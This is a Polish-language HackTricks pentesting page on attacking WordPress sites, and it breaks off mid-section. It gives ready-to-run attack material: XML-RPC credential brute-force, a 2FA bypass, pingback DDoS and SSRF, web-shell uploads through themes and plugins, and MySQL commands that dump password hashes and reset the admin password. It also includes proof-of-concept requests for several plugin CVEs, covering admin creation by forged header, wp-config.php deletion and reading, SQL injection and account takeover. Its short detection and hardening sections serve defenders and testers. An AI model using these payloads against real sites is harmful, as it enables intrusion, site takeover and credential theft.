Wordpress
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
-
Przesłane pliki trafiają do:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Pliki motywów można znaleźć w /wp-content/themes/, więc jeśli zmienisz jakiś php motywu, aby uzyskać RCE, prawdopodobnie będziesz korzystać z tej ścieżki. Na przykład: używając theme twentytwelve możesz dostęp do pliku 404.php pod adresem: /wp-content/themes/twentytwelve/404.php
-
Inny przydatny adres URL może być: /wp-content/themes/default/404.php
-
W wp-config.php możesz znaleźć hasło roota do bazy danych.
-
Domyślne ścieżki logowania do sprawdzenia: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Główne pliki WordPress
index.phplicense.txtzawiera przydatne informacje, takie jak zainstalowana wersja WordPress.wp-activate.phpjest używany do procesu aktywacji przez e-mail przy zakładaniu nowej witryny WordPress.- Foldery logowania (mogą być przemianowane, aby je ukryć):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.phpto plik reprezentujący funkcję WordPress umożliwiającą przesyłanie danych z użyciem HTTP jako mechanizmu transportu i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez WordPress REST API.- Folder
wp-contentto główny katalog, w którym przechowywane są pluginy i motywy. wp-content/uploads/to katalog, w którym przechowywane są wszystkie pliki przesłane na platformę.wp-includes/to katalog, gdzie przechowywane są pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widgety.wp-sitemap.xmlW wersjach WordPress 5.5 i nowszych, WordPress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie queryable typami postów i taksonomiami.
Post exploitation
- Plik
wp-config.phpzawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salts oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być przydatne przy rozwiązywaniu problemów.
Uprawnienia użytkowników
- Administrator
- Editor: Publikuje i zarządza własnymi i cudzymi wpisami
- Author: Publikuje i zarządza własnymi wpisami
- Contributor: Pisze i zarządza swoimi wpisami, ale nie może ich publikować
- Subscriber: Przegląda wpisy i edytuje swój profil
Passive Enumeration
Sprawdź wersję WordPress
Sprawdź, czy możesz znaleźć pliki /license.txt lub /readme.html
W kodzie źródłowym strony (przykład z https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- Pliki linków CSS
.png)
- Pliki JavaScript
.png)
Pobierz wtyczki
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Pobierz motywy
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Wyodrębnianie wersji — ogólnie
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktywna enumeracja
Wtyczki i motywy
Prawdopodobnie nie uda Ci się znaleźć wszystkich możliwych wtyczek i motywów. Aby odkryć je wszystkie, będziesz musiał actively Brute Force a list of Plugins and Themes (miejmy nadzieję, że istnieją zautomatyzowane narzędzia zawierające te listy).
Użytkownicy
- ID Brute: Uzyskujesz poprawnych użytkowników z serwisu WordPress przez Brute Forcing ID użytkowników:
curl -s -I -X GET http://blog.example.com/?author=1
Jeśli odpowiedzi mają status 200 lub 30X, to oznacza, że id jest prawidłowe. Jeśli odpowiedź ma status 400, to id jest nieprawidłowe.
- wp-json: Możesz także spróbować uzyskać informacje o użytkownikach, zapytując:
curl http://blog.example.com/wp-json/wp/v2/users
Kolejny endpoint /wp-json/, który może ujawnić pewne informacje o użytkownikach, to:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali wpis. Dostarczone będą tylko informacje o użytkownikach, którzy mają tę funkcję włączoną.
Również zwróć uwagę, że /wp-json/wp/v2/pages może powodować leak adresów IP.
- Login username enumeration: Podczas logowania w
/wp-login.phpkomunikat jest inny i wskazuje, czy podany username istnieje czy nie.
XML-RPC
Jeśli xml-rpc.php jest aktywny, możesz przeprowadzić brute-force poświadczeń lub użyć go do przeprowadzenia DoS na inne zasoby. (Możesz zautomatyzować ten proces using this na przykład).
Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do /xmlrpc.php i wysłać to żądanie:
Sprawdź
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories lub metaWeblog.getUsersBlogs są niektórymi z metod, które można użyć do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Komunikat “Nieprawidłowa nazwa użytkownika lub hasło” w odpowiedzi z kodem 200 powinien się pojawić, jeśli dane logowania są nieprawidłowe.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png)
.png)
Używając poprawnych danych logowania możesz przesłać plik. W odpowiedzi pojawi się ścieżka (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:
.png)
Bypass 2FA
Metoda ta jest przeznaczona dla programów, nie dla ludzi, i jest stara, więc nie obsługuje 2FA. Jeśli więc masz ważne creds, ale główny dostęp jest chroniony przez 2FA, możesz być w stanie wykorzystać xmlrpc.php, aby zalogować się tymi creds, omijając 2FA. Zauważ, że nie będziesz w stanie wykonać wszystkich akcji dostępnych przez konsolę, ale nadal możesz uzyskać RCE, jak wyjaśnia Ippsec w https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress to scan some internal network (you can indicate any port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Jeśli otrzymasz faultCode o wartości większej niż 0 (17), oznacza to, że port jest otwarty.
Zwróć uwagę na użycie system.multicall w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, by spowodować DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
Ten plik zwykle znajduje się w katalogu root strony Wordpress: /wp-cron.php
Kiedy do tego pliku jest uzyskany dostęp, wykonywane jest “heavy” MySQL query, więc może być użyty przez atakujących do spowodowania DoS.
Ponadto, domyślnie wp-cron.php jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co na stronach o dużym ruchu może powodować problemy (DoS).
Zaleca się wyłączyć Wp-Cron i utworzyć prawdziwe cronjob na hoście, które będą wykonywać potrzebne akcje w regularnych odstępach (bez powodowania problemów).
/wp-json/oembed/1.0/proxy - SSRF
Spróbuj uzyskać dostęp do https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net a strona Worpress może wysłać żądanie do Ciebie.
This is the response when it doesn’t work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
To narzędzie sprawdza, czy istnieje methodName: pingback.ping oraz ścieżka /wp-json/oembed/1.0/proxy, a jeśli tak, próbuje je wykorzystać.
Narzędzia automatyczne
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Uzyskanie dostępu przez nadpisanie bitu
To bardziej ciekawostka niż prawdziwy atak. W CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man można było zmienić 1 bit w dowolnym pliku wordpress. Dzięki temu można było zmienić bit na pozycji 5389 w pliku /var/www/html/wp-includes/user.php, aby zastąpić operację NOT (!) instrukcją NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modyfikacja pliku php w używanym motywie (admin credentials needed)
Wygląd → Edytor motywu → Szablon 404 (po prawej)
Zmień zawartość na php shell:
.png)
Wyszukaj w internecie, jak uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz wejść tutaj: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Możesz użyć:
use exploit/unix/webapp/wp_admin_shell_upload
to get a session.
Plugin RCE
PHP plugin
Może być możliwe przesłanie plików .php jako wtyczki.
Utwórz swój backdoor w PHP używając na przykład:
.png)
Następnie dodaj nową wtyczkę:
.png)
Prześlij wtyczkę i naciśnij “Install Now”:
.png)
Kliknij “Proceed”:
.png)
Prawdopodobnie pozornie nic się nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell:
.png)
Otwórz go, a zobaczysz URL do wykonania reverse shell:
.png)
Uploading and activating malicious plugin
Ta metoda polega na instalacji złośliwej wtyczki znanej z podatności, którą można wykorzystać do uzyskania web shella. Proces przeprowadza się przez WordPress dashboard w następujący sposób:
- Plugin Acquisition: Wtyczka jest pobierana ze źródła takiego jak Exploit DB, np. here.
- Plugin Installation:
- Przejdź do pulpitu WordPress, następnie do
Dashboard > Plugins > Upload Plugin. - Prześlij plik zip z pobraną wtyczką.
- Plugin Activation: Po pomyślnej instalacji wtyczka musi zostać aktywowana poprzez pulpit.
- Exploitation:
- Po zainstalowaniu i aktywowaniu wtyczki “reflex-gallery” można ją wykorzystać, ponieważ jest znana z podatności.
- Framework Metasploit dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do strony.
- Należy zaznaczyć, że jest to tylko jedna z wielu metod eksploatacji strony WordPress.
Treść zawiera ilustracje przedstawiające kroki w dashboardzie WordPress związane z instalacją i aktywacją wtyczki. Ważne jest jednak, aby pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być wykorzystywane odpowiedzialnie i jedynie w kontekście prawnym, np. podczas testów penetracyjnych z wyraźnym pozwoleniem.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike to skrypt zaprojektowany do eskalacji podatności typu Cross-Site Scripting (XSS) do Remote Code Execution (RCE) lub innych krytycznych podatności w WordPress. Po więcej informacji zobacz this post. Dostarcza wsparcie dla wersji Wordpress 6.X.X, 5.X.X i 4.X.X i pozwala na:
- Privilege Escalation: Tworzy użytkownika w WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Wgraj swój niestandardowy plugin (backdoor) do WordPress.
- (RCE) Built-In Plugin Edit: Edytuj wbudowane wtyczki w WordPress.
- (RCE) Built-In Theme Edit: Edytuj wbudowane motywy w WordPress.
- (Custom) Custom Exploits: Niestandardowe exploity dla wtyczek/motywów firm trzecich WordPress.
Post Exploitation
Wyodrębnij nazwy użytkowników i hasła:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Zmień admin password:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Pentest wtyczek Wordpress
Powierzchnia ataku
Znajomość sposobu, w jaki wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa do znalezienia podatności w jej funkcjonalnościach. Możesz znaleźć, jak wtyczka może udostępniać funkcje, w poniższych punktach oraz kilka przykładów podatnych wtyczek w this blog post.
wp_ajax
Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, jest za pośrednictwem AJAX handlers. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, dość często funkcje te będą opierać zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, które każdy użytkownik uwierzytelniony w instancji Wordpress może mieć (niezależnie od jego roli).
To są funkcje, które mogą być użyte do udostępnienia funkcji we wtyczce:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Użycie nopriv sprawia, że endpoint jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).
Caution
Co więcej, jeśli funkcja jedynie sprawdza autoryzację użytkownika za pomocą funkcji
wp_verify_nonce, to ta funkcja tylko weryfikuje, czy użytkownik jest zalogowany, zwykle nie sprawdza roli użytkownika. W rezultacie użytkownicy o niskich uprawnieniach mogą mieć dostęp do działań wymagających wyższych uprawnień.
- REST API
Możliwe jest również udostępnienie funkcji z wordpress poprzez zarejestrowanie REST API za pomocą funkcji register_rest_route:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback jest funkcją zwrotną, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
Jeśli użyta zostanie wbudowana funkcja __return_true, po prostu pominie sprawdzenie uprawnień użytkownika.
- Bezpośredni dostęp do pliku PHP
Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z internetu. Jeśli wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest uruchamiana po samym dostępie do pliku, będzie ona możliwa do wykorzystania przez dowolnego użytkownika.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Niektóre wtyczki implementują skróty “trusted header” dla integracji wewnętrznych lub reverse proxy i następnie używają tego nagłówka do ustawienia kontekstu bieżącego użytkownika dla żądań REST. Jeśli nagłówek nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i uzyskać dostęp do uprzywilejowanych tras REST jako administrator.
- Impact: eskalacja uprawnień bez uwierzytelnienia do administratora przez utworzenie nowego administratora za pomocą core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1(wymusza user ID 1, zazwyczaj pierwsze konto administratora). - Exploited route:
POST /wp-json/wp/v2/userswith an elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Why it works
- The plugin maps a client-controlled header to authentication state and skips capability checks.
- WordPress core expects
create_userscapability for this route; the plugin hack bypasses it by directly setting the current user context from the header.
Expected success indicators
- HTTP 201 with a JSON body describing the created user.
- A new admin user visible in
wp-admin/users.php.
Detection checklist
- Grep for
getallheaders(),$_SERVER['HTTP_...'], or vendor SDKs that read custom headers to set user context (e.g.,wp_set_current_user(),wp_set_auth_cookie()). - Review REST registrations for privileged callbacks that lack robust
permission_callbackchecks and instead rely on request headers. - Look for usages of core user-management functions (
wp_insert_user,wp_create_user) inside REST handlers that are gated only by header values.
Nieautoryzowane dowolne usuwanie plików przez wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_ and wp_ajax_nopriv_ hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:
- A capability check (e.g.
current_user_can()or at leastis_user_logged_in()), and - A CSRF nonce validated with
check_ajax_referer()/wp_verify_nonce(), and - Strict input sanitisation / validation.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Problemy wprowadzone przez ten fragment:
- Dostęp bez uwierzytelnienia – hook
wp_ajax_nopriv_jest zarejestrowany. - Brak sprawdzenia nonce / uprawnień – każdy odwiedzający może trafić w endpoint.
- Brak sanityzacji ścieżki – ciąg kontrolowany przez użytkownika
fontfamilyjest konkatenowany do ścieżki systemu plików bez filtrowania, umożliwiając klasyczne przejście../../.
Eksploatacja
Atakujący może usunąć dowolny plik lub katalog poniżej katalogu bazowego uploads (zwykle <wp-root>/wp-content/uploads/) wysyłając jedno żądanie HTTP POST:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.
Detection checklist
- Any
add_action( 'wp_ajax_nopriv_...')callback that calls filesystem helpers (copy(),unlink(),$wp_filesystem->delete(), etc.). - Concatenation of unsanitised user input into paths (look for
$_POST,$_GET,$_REQUEST). - Absence of
check_ajax_referer()andcurrent_user_can()/is_user_logged_in().
Privilege escalation via stale role restoration and missing authorization (ASE “View Admin as Role”)
Many plugins implement a “view as role” or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on reset-for=<username> if the username appeared in an internal array $options['viewing_admin_as_role_are'], but performed neither a current_user_can() check nor a nonce verification before removing current roles and re-adding the saved roles from user meta _asenha_view_admin_as_original_roles:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Dlaczego jest to podatne
- Polega na zaufaniu do
$_REQUEST['reset-for']i opcji wtyczki bez autoryzacji po stronie serwera. - Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w
_asenha_view_admin_as_original_rolesi został zdegradowany, może je przywrócić, przechodząc na ścieżkę resetu. - W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika nadal obecnej w
viewing_admin_as_role_are(błędna autoryzacja).
Eksploatacja (przykład)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
W podatnych wersjach usuwa to bieżące role i ponownie dodaje zapisane oryginalne role (np. administrator), efektywnie eskalując uprawnienia.
Detection checklist
- Szukaj funkcji przełączania ról, które przechowują “oryginalne role” w user meta (np.
_asenha_view_admin_as_original_roles). - Zidentyfikuj ścieżki reset/restore, które:
- Odczytują nazwy użytkowników z
$_REQUEST/$_GET/$_POST. - Modyfikują role przez
add_role()/remove_role()bezcurrent_user_can()iwp_verify_nonce()/check_admin_referer(). - Autoryzują na podstawie opcji pluginu (np.
viewing_admin_as_role_are) zamiast uprawnień aktora.
Eskalacja uprawnień bez uwierzytelnienia przez przełączanie użytkownika polegające na zaufaniu do cookie na publicznym hooku init (Service Finder “sf-booking”)
Niektóre pluginy podłączają pomocniki przełączania użytkownika do publicznego hooka init i odczytują tożsamość z cookie kontrolowanego przez klienta. Jeśli kod wywołuje wp_set_auth_cookie() bez weryfikacji uwierzytelnienia, uprawnień i ważnego nonce, dowolny niezalogowany odwiedzający może wymusić logowanie jako dowolny identyfikator użytkownika.
Typowy podatny wzorzec (uproszczony z Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Dlaczego jest podatne
- Publiczny hook
initsprawia, że handler jest dostępny dla niezalogowanych użytkowników (brak zabezpieczeniais_user_logged_in()). - Tożsamość pochodzi z ciasteczka modyfikowalnego po stronie klienta (
original_user_id). - Bezpośrednie wywołanie
wp_set_auth_cookie($uid)loguje osobę wysyłającą żądanie jako tego użytkownika bez żadnych sprawdzeń uprawnień ani nonce.
Eksploatacja (bez uwierzytelnienia)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
Rozważania dotyczące WAF dla WordPress/plugin CVEs
Ogólne WAFy brzegowe/serwerowe są skonfigurowane pod kątem szerokich wzorców (SQLi, XSS, LFI). Wiele wysokowpływowych luk WordPress/plugin to błędy logiki/specyfiki aplikacji i autoryzacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę pluginów.
Offensive notes
- Celuj w endpointy specyficzne dla pluginów z czystymi payloadami:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, custom file handlers, shortcodes. - Sprawdź najpierw ścieżki nieautoryzowane (AJAX
nopriv, REST z permisywnympermission_callback, public shortcodes). Domyślne payloady często działają bez obfuskacji. - Typowe przypadki o wysokim wpływie: eskalacja uprawnień (zepsuta kontrola dostępu), dowolne przesyłanie/pobieranie plików, LFI, open redirect.
Defensive notes
- Nie polegaj na ogólnych sygnaturach WAF w celu ochrony plugin CVEs. Zaimplementuj łatki wirtualne specyficzne dla podatności na warstwie aplikacji lub szybko aktualizuj.
- Preferuj podejście pozytywnej polityki bezpieczeństwa w kodzie (capabilities, nonces, ścisła walidacja wejścia) zamiast negatywnych filtrów regex.
WordPress Protection
Regular Updates
Upewnij się, że WordPress, pluginy i motywy są aktualne. Potwierdź także, że automatyczne aktualizacje są włączone w wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Ponadto, instaluj tylko zaufane wtyczki i motywy WordPress.
Wtyczki zabezpieczające
Inne zalecenia
- Usuń domyślnego użytkownika admin
- Używaj silnych haseł i 2FA
- Okresowo przeglądaj uprawnienia użytkowników
- Ogranicz liczbę prób logowania, aby zapobiec atakom Brute Force
- Zmień nazwę pliku
wp-admin.phpi zezwalaj na dostęp tylko wewnętrznie lub z określonych adresów IP.
Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
The WP Job Portal recruitment plugin exposed a savecategory task that ultimately executes the following vulnerable code inside modules/category/model.php::validateFormData():
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Problemy wprowadzone przez ten fragment:
- Niesanitizowane dane wejściowe użytkownika –
parentidpochodzi bezpośrednio z żądania HTTP. - Łączenie łańcuchów znaków w klauzuli WHERE – brak
is_numeric()/esc_sql()/ prepared statement. - Dostęp bez uwierzytelnienia – chociaż akcja wykonywana jest przez
admin-post.php, jedyna kontrola to CSRF nonce (wp_verify_nonce()), który każdy odwiedzający może pobrać ze strony publicznej osadzającej shortcode[wpjobportal_my_resumes].
Wykorzystanie
- Pobierz świeży nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Wstrzyknij dowolne zapytanie SQL, wykorzystując
parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, co potwierdza SQLi.
Nieautoryzowane pobieranie dowolnych plików / Path Traversal (WP Job Portal <= 2.3.2)
Inna akcja, downloadcustomfile, pozwalała odwiedzającym pobrać dowolny plik z dysku poprzez path traversal. Wrażliwy punkt znajduje się w modules/customfield/model.php::downloadCustomUploadedFile():
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name jest kontrolowany przez atakującego i konkatenowany bez filtrowania. Ponownie, jedyną przeszkodą jest CSRF nonce, który można pobrać ze strony CV.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Serwer zwraca zawartość wp-config.php, leaking DB credentials and auth keys.
Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Wiele motywów/wtyczek dostarcza helpery “social login” udostępnione przez admin-ajax.php. Jeśli nieuwierzytelniona akcja AJAX (wp_ajax_nopriv_…) ufa identyfikatorom przesłanym przez klienta, gdy brak danych providera, a następnie wywołuje wp_set_auth_cookie(), to staje się to pełnym obejściem uwierzytelniania.
Typowy wadliwy wzorzec (uproszczony)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Dlaczego jest to podatne
- Unauthenticated reachability via admin-ajax.php (wp_ajax_nopriv_… action).
- Brak sprawdzeń nonce/capability przed zmianą stanu.
- Brak weryfikacji OAuth/OpenID provider; gałąź domyślna akceptuje dane wejściowe od attacker.
- get_user_by(‘email’, $_POST[‘id’]) followed by wp_set_auth_cookie($uid) powoduje uwierzytelnienie requestera jako dowolny istniejący adres e-mail.
Wykorzystanie (unauthenticated)
- Wymagania wstępne: attacker może dotrzeć do /wp-admin/admin-ajax.php i zna/zgaduje prawidłowy adres e-mail użytkownika.
